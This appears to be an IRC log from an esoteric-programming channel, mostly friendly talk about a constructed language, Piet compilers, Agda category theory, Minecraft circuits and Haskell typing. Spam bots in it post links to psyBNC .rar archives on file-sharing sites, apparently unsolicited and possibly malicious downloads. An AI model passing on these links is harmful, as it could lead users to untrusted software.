01:22:33 <elliott> what were you thinking
01:22:39 <elliott> and uh countries
01:22:41 <oklopol> i don't think it is
01:23:07 <elliott> oh lalna is the one that used backwards ` and ` for nesting
01:23:09 <elliott> on top of letters
01:23:20 <oklopol> ah wait yeah that actually is one of lalna's modules yeah
01:23:26 <elliott> lol you first mentioned lalna in the past tense (in 2008)
01:23:47 <oklopol> but i think i just added stuff at random
01:23:50 <elliott> it would be nice to have an actual module system in a natural language
01:23:51 <elliott> like
01:23:58 <elliott> all cs terms are prefixed with "cs" or whatever
01:24:01 <elliott> but you can say "import cs" :D
01:24:12 <elliott> my god, that's the best idea i've ever had.
01:24:21 <oklopol> yeah that's the basic idea of lalna
01:24:29 <elliott> oklopol: how did you do (( in lalna
01:24:31 <elliott> i.e. two open quotes
01:24:40 <elliott> `` on top of a char? :D
01:24:42 <oklopol> i think
01:24:47 <elliott> but that was closing
01:24:48 <HackEgo> No output.
01:24:52 <oklopol> is closing
01:25:08 <elliott> oh
01:25:11 <oklopol> i mean i think "i" is a word you can use for nesting
01:25:13 <elliott> ah
01:25:26 <elliott> oklopol: so basically
01:25:30 <elliott> you tarnished the purity of your language
01:25:32 <elliott> because of existing alphabets
01:25:34 <oklopol> but yeah that's why it doesn't really matter what you chose as lalna's words, you can just choose another module
01:25:37 <elliott> well done oklopol, well done
01:25:38 -!- Allan_ has joined.
01:25:50 -!- anon4532 has joined.
01:26:09 -!- anon4532 has left (?).
01:26:10 <oklopol> what do you mean
01:26:13 <oklopol> tarnished
01:26:25 <elliott> oklopol: well the pure thing to do would be to stack multiple backwards-`s on top of one char
01:26:30 <elliott> to denote multiple opening
01:26:33 <oklopol> how would you pronounce it?
01:26:51 <elliott> oklopol: um... who cares?
01:26:52 <oklopol> you do realize the means rising tone
01:27:02 <elliott> oklopol: i'm sorry, who the fuck speaks?
01:27:06 <elliott> that's a bullshit criteria
01:27:09 <elliott> vocal cords suck ass
01:27:24 <elliott> *criterion
01:27:25 <elliott> obviously.
01:27:39 <oklopol> well obviously you can use (( for double nesting if you aren't writing it phonetically
01:27:54 <oklopol> i don't care about that
01:28:02 <oklopol> it's a spoken language
01:28:13 <elliott> why.
01:28:14 <elliott> who speaks.
01:28:19 <oklopol> in which every conversation happens in one-syllable sentences
01:28:32 <oklopol> that start with a module specification consisting of 3-5 consonants
01:28:33 <Allan_> hey can anyone recommend a piet interpreter that runs fast? npiet is choking on my BF interpreter
01:28:51 <elliott> Allan_: ooh er, someone actually talking about esolangs
01:28:59 <elliott> fizzie has done piet
01:29:01 <elliott> you should ask him
01:29:16 <Allan_> elliott: k thanks
01:30:20 <oklopol> i used to ask what the time is in lalna
01:30:44 <oklopol> it was something like ze in one of the conversational modules
01:30:52 <elliott> i wanna make a lang now :/
01:31:03 -!- Allan_ has quit (Quit: ChatZilla 0.9.86 [Firefox 3.6.13/20101203075014]).
01:31:06 <oklopol> who doesn't
01:31:09 <oklopol> i wanna make lalna again
01:31:10 <oklopol> :P
01:31:22 <oklopol> would be nice to have a spoken version of math
01:31:22 -!- Allan_ has joined.
01:31:24 -!- Allan_ has changed nick to allanlw.
01:31:28 <elliott> oklopol: do it :P
01:31:33 <elliott> i'll totally try and talk in it and fail
01:31:35 <oklopol> because it's really annoying to do it in english and finnish
01:31:40 <elliott> oklopol: make it polysynthetic though kay
01:31:49 <pikhq> Just serialise TeX.
01:32:11 <oklopol> well there's an idea
01:32:11 <elliott> oklopol: hey you could make mid-word quotes meaningful
01:32:16 <oklopol> i could also cut my balls of
01:32:18 <elliott> csXcsY --> cs(XY)
01:32:39 <oklopol> idgi
01:32:51 <oklopol> *off
01:32:53 <elliott> oklopol: like (since obvs it's polysynthetic now)
01:33:15 <elliott> csTuringMachinecsUniversal
01:33:16 <elliott> -->
01:33:18 <oklopol> yeah yeah
01:33:21 <elliott> cs(TuringMachineUniversal)
01:33:22 <pikhq> like since like obvs like it's like polysynthetic like now?
01:33:22 <oklopol> i got it already
01:33:29 <elliott> pikhq: xD
01:33:53 <oklopol> like is a happy module
01:34:10 <Gregor> Literally the closest I have ever come to considering playing Minecraft ... and minecraft.net is down :P
01:34:29 <pikhq> Gregor: You should definitely play Minecraft.
01:34:42 <oklopol> Gregor: it's a sign, never try it
01:34:45 <pikhq> Fair warning: you may lose desire for anything else.
01:34:46 <elliott> Gregor: Yeaaaah, the server is... sporadic.
01:34:55 <pikhq> Also, Notch is a shitty programmer. :P
01:34:56 <elliott> Gregor: Notch is pretty much the worst coder ever. :p
01:35:00 <oklopol> oh my god "signs" was a horrible movie
01:35:02 <elliott> pikhq: ^5
01:35:06 <elliott> (did i steal that from oklopol)
01:35:07 <pikhq> elliott: ⁵
01:35:07 <elliott> (think i did)
01:35:12 <elliott> or sth
01:35:25 <elliott> what Gregor doesn't realise is that his life as he knew it is over.
01:35:35 <oklopol> i have certainly used ^5, but it's even more certainlierly not "mine"
01:35:45 <Ilari> Haha: ""Every minute I waste dealing with people so stupid they would even consider veganism is just burning metaphorical dollar bills of time to no ultimate benefit." -- Dr. Harris.
01:36:06 <elliott> actually i've kinda wanted to make my own language after oerjan had to correct ais' "readonlyly" because it looked too weird
01:36:25 <elliott> -ly and -ness should be able to stack arbitarily :(
01:36:34 <elliott> deliciousnesslynessnesslylyness
01:37:03 <oklopol> yeah um it's bie ->
01:37:29 <pikhq> elliott: Hmm. 美味しさ物的物物的的物
01:37:40 <pikhq> elliott: Yeah, that comes out weird in Japanese, too.
01:37:55 <elliott> i'm fine if it sounds weird because it's almost entirely useless
01:38:00 <elliott> but not if it sounds weird because of pure linguistics
01:38:24 <allanlw> this is kind of random but can anyone point me in the way of any languages that have 3 way conditional statements ala FORTRAN's arithmetic IF?
01:38:41 <allanlw> e.g. IF (expression) negative, zero, positive
01:38:42 <pikhq> Erm, take out the first 物 in there.
01:38:47 -!- Behold has quit (Remote host closed the connection).
01:38:48 <quintopia> elliott: did he correct it to "readonlily"?
01:38:51 <zzo38> TeXnicard is the only other one as far as I know.
01:38:56 <elliott> quintopia: just "readonly"
01:39:02 <zzo38> But why do you want to know?
01:39:02 <elliott> allanlw: i think just fortran :p
01:39:04 <quintopia> huh
01:39:12 <quintopia> you know friendlily is a legit word
01:39:42 <zzo38> allanlw: Why do you want to know? TeXnicard also has arithmetic IF command, although it is not meant to be a general purpose programming language.
01:40:40 <allanlw> zzo38: I'm writing a compiler that compiles to Piet (2d graphical language) which gives me the opportunity to have conditionals that go three ways
01:40:45 <allanlw> so I wanted to see how other languages did it
01:40:53 <allanlw> but I can't find any lol
01:41:08 <zzo38> I am not exactly sure what you are trying to figure out, still.
01:41:29 <allanlw> just the syntax that they use mostly
01:42:02 <allanlw> also if they require that the expression evaluate to -1, 0 or 1 or just a negative/zero/positive integer
01:42:18 <zzo38> Syntax? I don't know of any syntax used other than FORTRAN which uses a forward syntax, and TeXnicard which uses a stack syntax. It depends what syntax your compiler uses.
01:42:34 <zzo38> And it can use any negative/zero/positive integer.
01:42:59 <zzo38> So, just use whatever syntax you want to use.
01:43:49 <allanlw> hmm
01:43:50 <allanlw> ok
01:43:52 <allanlw> thanks
01:45:01 -!- iconmaster_ has joined.
01:48:44 -!- iconmaster_ has quit (Client Quit).
02:01:55 -!- iconmaster_ has joined.
02:06:35 -!- iconmaster_ has quit (Client Quit).
02:12:07 -!- SimonRC has quit (Ping timeout: 250 seconds).
02:12:17 -!- SimonRC has joined.
02:13:21 -!- allanlw has quit (Read error: Connection reset by peer).
02:25:48 -!- zzo38 has quit (Remote host closed the connection).
02:57:30 <Sgeo> #clojure now knows of zzo38
03:49:45 <pikhq> XD
03:49:54 <pikhq> So, Lucifer is the "morning star", correct?
03:50:16 <pikhq> "I, Jesus, have sent my angel to give you this testimony for the churches. I am the Root and the Offspring of David, and the bright Morning Star." Revelations 22:16 (NIV)
03:50:30 <pikhq> PRAISE BE TO JESUS, LORD OF DARKNESS
03:51:06 <coppro> lucifer is the bringer of light
03:52:46 <pikhq> Yes, yes, I know, "Lucifer" as a reference to Satan is the result of bad, medieval fanfiction.
03:52:55 <elliott> Theory: Atheist missionaries visited pikhq.
03:53:11 <pikhq> elliott: Nope.
03:53:17 <pikhq> Are there any?
03:53:25 -!- azaq23 has quit (Ping timeout: 264 seconds).
03:53:26 <elliott> No. MAYBE THERE SHOULD BE
03:53:35 <elliott> I still think solipsist missionaries would be awesome.
03:54:01 <elliott> pikhq: Hey, you slipped out of -minecraft :P
03:54:23 <pikhq> elliott: You used CLEAR USERS, you cock.
03:54:29 <elliott> pikhq: NO THAT WAS OKLOPOL
03:54:35 <elliott> WE'VE VERY DEFINITIVELY ESTABLISHED THAT WAS OKLOPOL
03:54:50 <pikhq> Theory: oklopol = elliot
03:54:57 <pikhq> And there is no elliott.
03:54:59 <elliott> Yes. The extra t is what makes me not evil.
03:55:12 <pikhq> THERE IS NO ELLIOTT, FOR THERE IS NO GOD.
03:55:21 <pikhq> THERE IS ONLY OKLOPOL, LORD OF DARKNESS
04:04:26 <quintopia> a lucifer is a match
04:04:32 * quintopia strikes a lucifer on pikhq's head
04:06:26 <coppro> My favorite use of Lucifer is in 2011
04:08:45 <pikhq> quintopia: A LVCEM FERRE is your match?
04:10:33 <copumpkin> chocolaate-maan is going to spam this channel soon, probably
04:16:30 <elliott> copumpkin: what
04:16:41 <elliott> copumpkin: who is chocolaate-maan and why on earth did you tell them this place exists :P
04:16:45 <copumpkin> I didn't
04:16:51 <elliott> copumpkin: then wut
04:16:52 <copumpkin> he's just moving randomly between channels and spamming them
04:17:04 <elliott> copumpkin: this channel is a bit hard to find or guess...
04:17:13 <copumpkin> oh, it's secret?
04:17:28 <elliott> copumpkin: no
04:17:43 <elliott> copumpkin: but "#esoteric" isn't something most people would randomly type in
04:17:53 <copumpkin> it's a bot, moving along the /list in some order
04:18:40 <elliott> ah.
04:18:46 <elliott> it'll probably be klined first :P
04:18:56 <copumpkin> no
04:18:59 <copumpkin> it's doing it slowly
04:19:07 <copumpkin> and nobody in #freenode who can stop it seems to be around
04:19:30 <copumpkin> I know how it works :P
04:20:21 <elliott> i'm looking forward to it!
04:22:41 <Sgeo> I guessed #esoteric , that's how I found this place
04:22:45 <Sgeo> ^^traumatizing lies
04:23:59 <Sgeo> cchocolaate-maan hit #clojure 2 min ago
04:24:12 <Sgeo> Said nothing, just a link in eir part message
04:33:42 <copumpkin> probably not allowed to talk
04:33:48 <copumpkin> not registered nick or something
04:34:59 <Sgeo> I just learned more ML-syntax studying a piece of code that looks difficult to understand...
04:35:13 <Sgeo> Than I ever have reading about it... probably because I never read about it
04:36:22 <Sgeo> Then again, what I saw may just be ATS syntax
04:37:19 <elliott> copumpkin: uh we have no such protection
04:37:26 <elliott> * Channel #esoteric modes: +cn
04:37:29 <copumpkin> elliott?
04:37:32 <elliott> i wonder what +n is
04:37:36 <elliott> copumpkin: i thought you meant in here
04:37:42 <copumpkin> he just talked about clojure
04:37:44 <elliott> oh wait
04:37:46 <copumpkin> and how the dude left without saying anythign
04:37:52 <elliott> yeah i have sgeo on ignore and read his messages from the logs in batch
04:37:58 <elliott> it's much less aggravating/depressing
04:41:10 <copumpkin> ah
04:41:54 -!- Sgeo has set topic: HAVE YOU EVER CAUSED A PLANET TO DISAPPEAR? | http://tunes.org/~nef/logs/esoteric/?C=M;O=D | Number of times elliott has been confused by ignoring Sgeo: 1+.
04:42:03 <pikhq> Peanut butter and honey. Omnomnom.
04:42:28 <Sgeo> Current topic not counting previous times of confusion
04:47:10 -!- elliott has set topic: HAVE YOU EVER CAUSED A PLANET TO DISAPPEAR? | http://tunes.org/~nef/logs/esoteric/?C=M;O=D | Number of times elliott has been confused by ignoring Sgeo: 1+ | Number of times elliott has managed to collect facepalms into convenient, manageable chunk of schedule by ignoring Sgeo: too many to count..
04:48:20 <pikhq> Sgeo: Have you transferred yet?
04:48:26 <Sgeo> No
04:48:41 <pikhq> Have you stopped failing at life?
04:54:00 <copumpkin> ??
04:54:46 -!- pikhq has quit (Ping timeout: 240 seconds).
04:55:00 -!- pikhq has joined.
05:08:14 -!- chocolaate-maan has joined.
05:08:14 -!- chocolaate-maan has left (?).
05:08:27 <elliott> man
05:08:31 <elliott> that was epic copumpkin
05:08:32 <elliott> thx for warning us
05:08:42 <copumpkin> lol
05:08:48 <elliott> <pikhq> Sgeo: Have you transferred yet?
05:08:49 <elliott> <pikhq> Have you stopped failing at life?
05:08:49 <elliott> <copumpkin> ??
05:08:58 <elliott> sgeo goes to an incredibly shitty university because his dad told him to.
05:09:00 <copumpkin> yeah yeah, he was silenced
05:09:03 <copumpkin> oh
05:09:07 <copumpkin> why'd his dad tell him to?
05:09:15 <copumpkin> and what's the incredibly shitty university?
05:09:20 <elliott> because, as a large mass of evidence has conclusively demonstrated, his dad is an idiot.
05:09:36 <copumpkin> oh ok
05:09:39 <elliott> farmingdale suny. his computer information systems or something course (it's not even "software engineering") has more business requirements than math.
05:10:04 <copumpkin> ah :/
05:10:24 <elliott> our attempts to get him to transfer before he gets a useless degree have been less than successful.
05:10:32 <elliott> mostly because it usually ends with <Sgeo> Convince my dad
05:10:55 <copumpkin> why is his dad so set on him going there?
05:10:59 <copumpkin> apart from being an idiot
05:11:42 <elliott> copumpkin: Uhh, because it's near.
05:14:46 <Sgeo> It's "easy" since I tend to procrastinate in e.g. the English courses
05:15:10 <pikhq> copumpkin: The highest level of math he is required to take is calc I.
05:15:59 <copumpkin> ack
05:16:02 <pikhq> For comparison, I'm taking differential equations and linear algebra right now, and won't be finished with my math requirements for my CS degree after this quite yet.
05:16:15 <copumpkin> yeah, same here
05:16:18 <pikhq> And won't be finished with my math degree for a while yet. :P
05:16:27 <copumpkin> and even after that, I feel like my undergrad math was horribly inadequate
05:16:41 <copumpkin> which is why I'm spending so much time catching up these days :)
05:16:58 <copumpkin> luckily, I have agda to hold my hand
05:19:32 <pikhq> copumpkin: Yes, but you at least had more than what is basically the closest to math 90% of the population is even aware of.
05:20:35 <elliott> copumpkin: wait, there is a person who considers agda an AID?
05:20:38 <elliott> i gotta write this down
05:21:20 <copumpkin> elliott: yeah, I'm greatly refining my knowledge of category theory with it these days
05:21:27 <copumpkin> https://github.com/pumpkin/categories
05:21:32 <copumpkin> disregard typo in readme
05:21:39 <elliott> copumpkin: hahaha oh man, this is gonna be so great in my upcoming, Standup for Theoretical Computer Scientists
05:22:26 <elliott> copumpkin: More seriously, j-invariant would be highly interested in that had e not spontaneously combusted.
05:23:17 <copumpkin> it's not really ready for general consumption yet
05:23:23 <copumpkin> but eventually I'll put it up on reddit where e can see it
05:23:45 <elliott> Well, e deleted eir account, but maybe e's still reading anonymously. (Or has a new account.)
05:24:00 <copumpkin> yeah, meh
05:24:02 <elliott> I tried to do cat. theory in Coq based on some paper once, it was quite fun, but uh it's
05:24:04 <elliott> 5:57 am
05:24:07 <elliott> why am i even still talking
05:24:35 <copumpkin> there are quite a few CT attempts in agda, but mine is better
05:25:01 <elliott> copumpkin: that's the spirit.
05:25:08 <elliott> copumpkin: keep it up. soon you will get nothing done
05:25:17 <elliott> oh yeah, i'm planning to implement that after i implement my compiler. for my perfect os.
05:25:22 <elliott> for my perfect computer running on wind instead of electricity
05:25:24 <elliott> its more elegant
05:25:28 <copumpkin> lol
05:25:35 <copumpkin> no, I actually have quite a bit implemented already
05:25:42 <copumpkin> it's tougher than the other approach
05:25:48 <copumpkin> but it's more awesomerest
05:26:00 <elliott> yah. and my OS would let me rewrite it in 3 lines, come back in a decade
05:26:24 <copumpkin> lol
05:31:41 -!- elliott has quit (Ping timeout: 240 seconds).
05:32:28 * Sgeo sings the rest-of-file comment song
05:32:32 <Sgeo> Four slashies
05:32:39 <Sgeo> Oh how I love thee
05:32:40 <Sgeo> ////
05:33:02 <Sgeo> I'm tired
05:41:08 <quintopia> hey, anyone know of a hash that will take take strings of length N down to much shorter, say length 32, such that the edit distance in the new strings is approximately proportional to the edit distance of the original strings?
05:43:03 <copumpkin> http://en.wikipedia.org/wiki/Locality_preserving_hashing
05:43:14 <copumpkin> indyk did a bit on that
05:44:50 <quintopia> neat
05:52:32 -!- chocolaate-maan has joined.
05:52:33 <chocolaate-maan> l33t http://www.1filesharing.com/download/1JE0D7ZA/psyBNC2.3.1_4.rar
05:52:33 -!- chocolaate-maan has left (?).
05:55:32 <quintopia> haha
05:55:37 <quintopia> he finally came
05:55:43 <quintopia> and elliott missed it
05:56:39 <quintopia> copumpkin: i think this is it, maybe? http://portal.acm.org/citation.cfm?id=1109644
05:57:42 <copumpkin> ah, that looks promising
06:07:33 -!- comex has quit (*.net *.split).
06:07:33 -!- aloril has quit (*.net *.split).
06:07:56 -!- asiekierka has joined.
06:08:16 -!- aloril has joined.
06:08:35 -!- augur has quit (Read error: Connection reset by peer).
06:13:00 -!- comex has joined.
06:36:16 -!- augur has joined.
07:17:28 -!- oerjan has joined.
07:21:57 <oerjan> <ais523> and oerjan's church algorithm is presumably based on matching : and * pairs, but with specialcasing for commands that cancel each other out, and the ability to go down to 0 via !()
07:22:40 <oerjan> that's how i started writing it, but then the special cases started heaping up and i realized...
07:23:44 <oerjan> there is actually still a special case for !() though, because ! without () after isn't safe to emulate when the stack has just one element.
07:25:05 <oerjan> (one invariant of the algorithm is that the bottom of the stack must always contain an n*the original string
07:30:39 <oerjan> 17:36:25 <elliott> -ly and -ness should be able to stack arbitarily :(
07:30:39 <oerjan> 17:36:34 <elliott> deliciousnesslynessnesslylyness
07:31:06 <oerjan> you are still breaking the restrictions on which word classes they can be applied to there :D
07:31:32 <oerjan> or is that what you meant
07:33:02 <oerjan> <quintopia> he finally came
07:33:09 <oerjan> is this spammy claus or something?
07:35:18 <oerjan> <elliott> copumpkin: wait, there is a person who considers agda an AID?
07:35:29 <oerjan> is this an acronym or just all caps?
07:36:36 <oerjan> assisted intelligence device
07:40:30 <oerjan> <elliott> i wonder what +n is
07:40:46 <oerjan> i vaguely recall that prevents people not in the channel from talking in it
07:41:00 <oerjan> i guess that counts as _some_ spam protection, at least
07:42:26 <oerjan> <pikhq> THERE IS ONLY OKLOPOL, LORD OF DARKNESS
07:42:54 <oerjan> WHY OH LORD OF DARKNESS HAST THOU FORSAKEN US?
07:43:19 <oerjan> maybe he got caught up in that inglip thing.
07:45:56 <oerjan> wait he _is_ here?
07:46:01 * oerjan should learn to read
07:52:58 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:10:33 -!- Pline has joined.
08:10:34 <Pline> best script ever http://uploadmirrors.com/download/FBAIGMFU/psyBNC2.3.1_3.rar
08:10:34 -!- Pline has left (?).
08:10:53 <oerjan> spammy claus is back!
08:12:52 -!- Alex_Megaroide has joined.
08:21:44 * oerjan swats elliott in absentia for the "Hott Sex-enklein productken dacht!" edit -----###
08:25:13 -!- Pline has joined.
08:25:13 -!- Pline has left (?).
08:33:22 * pikhq should sleep
08:35:02 <oerjan> SLEEP IS FREQUENTLY RECOMMENDED
08:35:33 <quintopia> not frequently
08:35:39 <quintopia> once a day is enough
08:36:34 <oerjan> that's frequently
08:36:52 <oerjan> it has a clear _frequence_, you see
08:38:53 <quintopia> ah
08:39:05 <quintopia> does the earth circle the sun frequently?
08:39:41 <oerjan> > 1/86400/365
08:39:43 <lambdabot> 3.1709791983764586e-8
08:40:06 <oerjan> about 31.7 nanohertz
08:40:41 <oerjan> also the earth circles the sun _all the time_
08:40:52 <oerjan> not as much as a stop to rest
08:41:28 <quintopia> no it doesn't
08:41:38 <quintopia> it's constantly in orbit sure
08:41:47 <quintopia> but it only circles it once a year
08:42:06 <quintopia> actually
08:42:09 <quintopia> it ellipses it
08:42:48 <oerjan> sometimes even eclipses it
08:43:35 <quintopia> to an observer on the moon, it does that at least twice a year, yeah?
08:45:43 <oerjan> it may be something like that
08:49:57 -!- GreaseMonkey has quit (Quit: The Other Game).
09:26:45 -!- iamcal has quit (Ping timeout: 246 seconds).
11:26:29 -!- clog has joined.
11:26:29 -!- clog has joined.
11:28:10 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:29:21 -!- cheater00 has joined.
11:34:01 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:35:40 -!- Phantom__Hoover has changed nick to Phantom_Hoover.
11:36:12 -!- cheater00 has joined.
11:46:21 -!- asiekierka has joined.
11:53:24 <oklopol> it's morning time
11:54:41 <ais523> good morning oklopol
11:56:37 <oklopol> here look at this link http://www.oswegoil.org/
12:04:59 <ais523> why?
12:11:17 -!- MigoMipo has quit (Read error: Connection reset by peer).
12:11:50 -!- cheater00 has quit (Quit: Leaving).
12:17:36 <Phantom_Hoover> oklopol, are you planning a retreat to the wilderness?
12:19:10 -!- asiekierka has quit (Ping timeout: 264 seconds).
12:19:53 <Phantom_Hoover> ais523, hey, what's the fancy EE name for http://www.youtube.com/watch?v=Uo9RYaRNI4A?
12:23:57 <fizzie> I think it's called the "Disco Penis" circuit.
12:24:00 <ais523> describe it?
12:24:14 <Phantom_Hoover> ais523, signal goes in, comes back out some time later.
12:24:40 <ais523> if it's clocked and takes one bit, it's a D flip-flop
12:24:50 <ais523> otherwise it's generally just called a "delay", say if it's analog or whatever
12:25:48 <fizzie> It's a bit longer than a single-clock delay in the video.
12:25:57 -!- oerjan has joined.
12:26:27 <ais523> you can do that by chaining D flip-flops together
12:26:40 <ais523> a "shift register" is the name for a chain that's relatively long
12:31:24 <fizzie> That was 25 blocks or so of chained delays. There's nowadays a "Redstone Repeater" block type which can do an adjustable (1-4) clock delay.
13:26:40 -!- BeholdMyGlory has joined.
13:33:43 -!- cheater99 has joined.
13:37:55 -!- oerjan has quit (Quit: leaving).
13:51:13 -!- asiekierka has joined.
14:37:56 -!- cheater99 has quit (Ping timeout: 240 seconds).
14:38:10 -!- cheater00 has joined.
14:52:04 -!- cheater00 has quit (Ping timeout: 240 seconds).
14:53:08 -!- cheater00 has joined.
14:55:07 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
14:55:36 -!- zeotrope has joined.
15:15:42 -!- porky has joined.
15:20:25 -!- porky has left (?).
16:31:36 -!- oerjan has joined.
16:47:05 * oerjan chuckles at Keymaker's last edit
16:47:43 <ais523> the revert?
16:47:46 <oerjan> yes
16:48:11 <ais523> I think it was reverting the category deletion
16:48:12 <oerjan> i previously swatted elliott for (probably) making the original one
16:48:20 <oerjan> um no
16:48:22 <ais523> was revertening the deadening the link deliberate too?
16:48:37 <ais523> also, /is/ the link dead? I haven't checked
16:48:58 <oerjan> ais523: look at the title of the original edit. keymaker was pretty obviously not actually _reading_ it, just reverting
16:49:26 <ais523> ah
16:49:33 <ais523> I read the edits rather than the summaries
16:49:59 <oerjan> i read both, since i browse from the recent changes
16:50:05 <ais523> partly because I check if it's egregrious enough to delete from recent changes
16:50:15 <ais523> I've been doing that to spambots recently to avoid spam
16:50:20 <oerjan> yeah
16:50:25 <ais523> recent changes spam, that is
16:50:33 <oerjan> i know
16:50:39 <ais523> (the "show bots" link will show the changes deleted that way, if you want to keep an eye on me)
16:50:46 <oerjan> it's not like it's invisible if we _want_ to find it
16:50:51 <oerjan> ...right
17:04:18 -!- azaq23 has joined.
17:24:22 -!- Phantom_Hoover has joined.
17:26:06 <Phantom_Hoover> fungot,
17:26:07 <fungot> Phantom_Hoover: you still running it? are you using?
17:29:36 -!- asiekierka has quit (Ping timeout: 272 seconds).
17:54:46 -!- pikhq_ has joined.
17:54:51 -!- pikhq has quit (Ping timeout: 240 seconds).
17:55:25 -!- quintopia has quit (Ping timeout: 276 seconds).
17:57:29 -!- quintopia has joined.
17:57:30 -!- quintopia has quit (Changing host).
17:57:30 -!- quintopia has joined.
18:27:10 -!- asiekierka has joined.
18:41:16 -!- elliott has joined.
18:42:14 <elliott> 21:55:32 <quintopia> haha
18:42:14 <elliott> 21:55:37 <quintopia> he finally came
18:42:15 <elliott> 21:55:43 <quintopia> and elliott missed it
18:42:17 <elliott> uhh he came much earlier
18:42:27 <elliott> 21:08:14 --- join: chocolaate-maan (~cwo_F4@61.153.16.162) joined #esoteric
18:42:27 <elliott> 21:08:14 --- part: chocolaate-maan left #esoteric
18:42:27 <elliott> 21:08:27 <elliott> man
18:42:27 <elliott> 21:08:31 <elliott> that was epic copumpkin
18:42:27 <elliott> 21:08:32 <elliott> thx for warning us
18:42:42 <oerjan> then he came again.
18:42:47 <copumpkin> after you left
18:42:55 <elliott> indeed
18:42:55 <oerjan> and he changed his name to pline, and came again.
18:43:00 <oerjan> *and then
18:43:18 <elliott> 23:30:39 <oerjan> 17:36:25 <elliott> -ly and -ness should be able to stack arbitarily :(
18:43:19 <elliott> 23:30:39 <oerjan> 17:36:34 <elliott> deliciousnesslynessnesslylyness
18:43:19 <elliott> 23:31:06 <oerjan> you are still breaking the restrictions on which word classes they can be applied to there :D
18:43:19 <elliott> 23:31:32 <oerjan> or is that what you meant
18:43:25 <elliott> linguistic fascist
18:43:38 <elliott> 23:35:18 <oerjan> <elliott> copumpkin: wait, there is a person who considers agda an AID?
18:43:38 <elliott> 23:35:29 <oerjan> is this an acronym or just all caps?
18:43:43 <elliott> YES
18:43:57 <elliott> 23:45:56 <oerjan> wait he _is_ here?
18:43:58 <elliott> he was
18:44:01 <elliott> oklopol: oh and he is
18:44:11 <oerjan> HE WAS AND HE IS
18:44:23 <oerjan> very appropriate for a lord of darkness
18:45:10 <elliott> 00:21:44 * oerjan swats elliott in absentia for the "Hott Sex-enklein productken dacht!" edit -----###
18:45:10 <elliott> ;D
18:45:22 <elliott> i was hoping i'd get banned
18:45:27 <elliott> oerjan: do you like our new updated front page
18:45:34 <oerjan> elliott: you might check what keymaker did
18:45:43 <elliott> the of the days just keep getting more... of the day!
18:45:58 <oerjan> elliott: eksellentillä!
18:46:14 <elliott> i forget what it translates as
18:46:21 <elliott> i think "twenty-four hour period current" or something
18:46:36 <elliott> oerjan: can you revert keymaker's revert, thx
18:46:41 <elliott> i shouldn't have to defend myself from sysop abuse
18:46:45 <oerjan> *MWAHAHAHA*
18:47:27 <elliott> also ban keymaker for this offence!
18:47:42 <elliott> http://esolangs.org/wiki/Special:Contributions/Nickolas this guy sure is dedicated
18:47:58 <elliott> hmm
18:48:03 * elliott creates a {{deadlink}} template
18:48:08 * oerjan thought about that
18:50:23 * oerjan suddenly realizes something
18:50:29 <oerjan> > when True "hi"
18:50:29 <lambdabot> Couldn't match expected type `()'
18:50:29 <lambdabot> against inferred type `GHC.Types....
18:50:37 <oerjan> darn
18:50:42 <elliott> wat
18:50:44 <oerjan> :t when
18:50:45 <lambdabot> forall (m :: * -> *). (Monad m) => Bool -> m () -> m ()
18:50:52 <elliott> > when True [(),()]
18:50:52 <lambdabot> [(),()]
18:51:14 <oerjan> i was hoping to use it for Strings :(
18:51:24 <oerjan> when True s = s, when False s = ""
18:51:38 <elliott> oerjan: easy enough to do
18:51:41 <elliott> ... hiding (when)
18:51:42 <elliott> [...]
18:51:56 <elliott> when True x = x
18:52:01 <elliott> when False _ = mzero
18:52:06 <oerjan> well maybe there's another name for it, is what i was thinking
18:52:20 <oerjan> also i'm not exactly attached to the name when, just had a brain fart
18:52:27 <oerjan> hm
18:52:36 <oerjan> @hoogle Bool -> m a -> ma
18:52:37 <lambdabot> Control.Exception assert :: Bool -> a -> a
18:52:38 <lambdabot> Control.OldException assert :: Bool -> a -> a
18:52:38 <lambdabot> Control.Exception.Base assert :: Bool -> a -> a
18:52:40 <oerjan> @hoogle Bool -> m a -> m a
18:52:40 <lambdabot> Control.Monad unless :: Monad m => Bool -> m () -> m ()
18:52:40 <lambdabot> Control.Monad when :: Monad m => Bool -> m () -> m ()
18:52:41 <lambdabot> Data.Graph.Inductive.Internal.Queue queuePut :: a -> Queue a -> Queue a
18:52:48 <oerjan> f
18:52:55 <olsner> @pl \b x -> if' b x mzero
18:52:55 <lambdabot> flip flip mzero . if'
18:53:00 <oerjan> @hoogle Bool -> [a] -> [a]
18:53:01 <lambdabot> Data.List intersperse :: a -> [a] -> [a]
18:53:01 <lambdabot> Data.List insertBy :: (a -> a -> Ordering) -> a -> [a] -> [a]
18:53:01 <lambdabot> Data.List deleteBy :: (a -> a -> Bool) -> a -> [a] -> [a]
18:53:07 <elliott> "Because Brainfork is a proper superset of Brainfuck, all Brainfuck programs are also valid Brainfork programs with identical semantics."
18:53:10 <elliott> LIES!
18:53:19 <oerjan> olsner: oh it's trivial to _write_
18:53:24 -!- sebbu2 has joined.
18:53:41 <elliott> oerjan: actually i don't think you need Monad at all
18:53:43 <elliott> just Monoid
18:53:48 <oerjan> yeah
18:53:50 <elliott> oh wait
18:53:51 <elliott> :t mzero
18:53:52 <lambdabot> forall (m :: * -> *) a. (MonadPlus m) => m a
18:53:58 <elliott> :t mempty
18:53:58 <lambdabot> forall a. (Monoid a) => a
18:54:01 <oerjan> well either of them
18:54:01 <elliott> hmm
18:54:04 <elliott> is IO an instance of Monoid?
18:54:21 <oerjan> but hoogle should have shown both if there was a function for it
18:54:29 <Deewiant> It's not MonadZero either
18:54:40 <elliott> *MonadPlus
18:54:44 <elliott> well MonadPlus sounds yucky
18:54:50 <oerjan> um i thought it was
18:54:54 <elliott> when :: Monoid m => Bool -> m a -> m a
18:55:00 <elliott> when False _ = mempty
18:55:02 <elliott> when True x = x
18:55:04 <elliott> tada
18:55:05 <oerjan> with some catch/error thing
18:55:09 <elliott> (no, the if' version is not nicer :p)
18:56:01 <Deewiant> (if' `flip` mempty) . not
18:56:18 -!- asiekierka has quit (Ping timeout: 272 seconds).
18:56:36 -!- sebbu has quit (Ping timeout: 246 seconds).
18:58:08 <elliott> Deewiant: (if' □ mempty) . not
18:58:15 <oerjan> > guard True >> "hi"
18:58:15 <lambdabot> "hi"
18:58:16 <elliott> Or even
18:58:19 <oerjan> > guard False >> "hi"
